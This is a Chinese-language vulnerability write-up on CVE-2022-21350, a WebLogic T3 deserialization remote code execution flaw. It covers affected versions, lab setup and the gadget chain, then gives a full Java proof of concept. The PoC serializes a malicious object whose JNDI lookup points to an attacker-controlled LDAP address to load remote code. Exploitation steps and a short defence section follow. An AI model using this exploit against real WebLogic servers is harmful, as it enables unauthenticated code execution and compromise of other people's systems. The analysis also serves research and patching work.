CVE-2022-21350 WebLogic T3 RCE 简单分析
字数 1504 2025-08-29 08:31:35
WebLogic T3 RCE漏洞(CVE-2022-21350)分析与利用指南
漏洞概述
CVE-2022-21350是Oracle WebLogic Server中的一个远程代码执行漏洞,位于Oracle Fusion Middleware的Core组件中。该漏洞允许未经身份验证的攻击者通过T3协议访问网络来破坏Oracle WebLogic Server。
影响范围
- WebLogic 12.1.3.0.0
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞危害
成功利用此漏洞可导致:
- 对WebLogic Server可访问数据的未经授权的更新、插入或删除
- 导致WebLogic Server的部分拒绝服务(部分DOS)
环境搭建
所需组件
- WebLogic Server 12.2.1.4.0
- JDK 1.8.0_181(注意:JDK版本过高会导致命令执行失败,建议使用JDK < 1.8.191)
安装步骤
- 下载WebLogic安装包:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html - 执行安装:
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar - 准备调试环境:
- 使用
java -jar wljarbuilder.jar创建wlfullclient.jar - 将
wlfullclient.jar和cryptoj.jar放入本地IDEA项目中
- 使用
漏洞分析
调用链分析
完整的调用链如下:
javax.management.BadAttributeValueExpException.readObject()
weblogic.servlet.internal.session.SessionData.toString()
weblogic.servlet.internal.session.SessionData.isDebuggingSession()
weblogic.servlet.internal.session.SessionData.getAttribute()
weblogic.servlet.internal.session.SessionData.getAttributeInternal()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject()
weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects()
weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject()
weblogic.ejb20.internal.HomeHandleImpl.getEJBHome()
javax.naming.Context.lookup()
关键点分析
-
入口点 - BadAttributeValueExpException.readObject()
- 触发
toString()方法调用 - 通过设置
val字段为特定对象来控制后续执行流程
- 触发
-
SessionData.toString()
- 需要绕过
isValid()检查 - 使用
FileSessionData作为SessionData的实现类
- 需要绕过
-
isDebuggingSession()
- 远程调试时会跳过
registry.isProductionMode()检查 - 触发
getAttribute("wl_debug_session")调用
- 远程调试时会跳过
-
AttributeWrapperUtils.unwrapObject()
- 需要构造
AttributeWrapper对象 - 设置
isEJBObjectWrapped为true以进入unwrapEJBObjects()
- 需要构造
-
BusinessHandleImpl.getBusinessObject()
- 需要构造
BusinessHandleImpl对象 - 通过反射设置
homeHandle字段
- 需要构造
-
HomeHandleImpl.getEJBHome()
- 最终触发JNDI注入点
jndiName和serverURL字段可控
漏洞利用
POC构造
package com.supeream;
import weblogic.ejb.container.internal.BusinessHandleImpl;
import weblogic.ejb20.internal.HomeHandleImpl;
import weblogic.servlet.internal.AttributeWrapper;
import weblogic.servlet.internal.session.FileSessionData;
import weblogic.servlet.internal.session.SessionData;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompoundName;
import javax.naming.Name;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ConcurrentHashMap;
public class CVE_2022_21350 {
public static void main(String[] args) throws Exception {
// 构造HomeHandleImpl,sink点
HomeHandleImpl homeHandle = new HomeHandleImpl();
Field serverURLF = homeHandle.getClass().getDeclaredField("serverURL");
serverURLF.setAccessible(true);
serverURLF.set(homeHandle, "t3://127.0.0.1:7001/");
Properties props = new Properties();
Name name = new CompoundName("ldap://192.168.1.177:1389/vntyei", props);
Field jndiNameF = homeHandle.getClass().getDeclaredField("jndiName");
jndiNameF.setAccessible(true);
jndiNameF.set(homeHandle, name);
// homeHandle设置到BusinessHandleImpl
BusinessHandleImpl businessHandle = new BusinessHandleImpl();
Field homeHandleF = businessHandle.getClass().getDeclaredField("homeHandle");
homeHandleF.setAccessible(true);
homeHandleF.set(businessHandle, homeHandle);
AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);
attributeWrapper.setEJBObjectWrapped(true);
Map map = new ConcurrentHashMap<String, Object>();
map.put("wl_debug_session", attributeWrapper);
SessionData sessionData = new FileSessionData();
Field attributesF = sessionData.getClass().getSuperclass().getDeclaredField("attributes");
attributesF.setAccessible(true);
attributesF.set(sessionData, map);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, sessionData);
serialize(badAttributeValueExpException);
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.flush();
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用步骤
- 使用上述代码生成恶意序列化对象
test.ser - 通过Python脚本将序列化数据发送到目标WebLogic服务器
- 目标服务器反序列化数据时触发漏洞
- 通过JNDI注入执行远程代码
利用工具
推荐使用Y4er师傅的Python脚本和框架:
https://github.com/Y4er/CVE-2020-2555
防御措施
-
官方补丁
- 及时应用Oracle发布的安全补丁
-
临时缓解措施
- 禁用T3协议或限制T3协议的访问
- 使用网络ACL限制WebLogic Server的访问
-
其他建议
- 升级到不受影响的WebLogic版本
- 使用JDK 1.8.191或更高版本(但需注意兼容性问题)
参考链接
- https://www.yuque.com/docs/share/efea1bd4-b0a2-4632-b2a3-e2ae4b1482a9?#vSNs7
- Oracle官方安全公告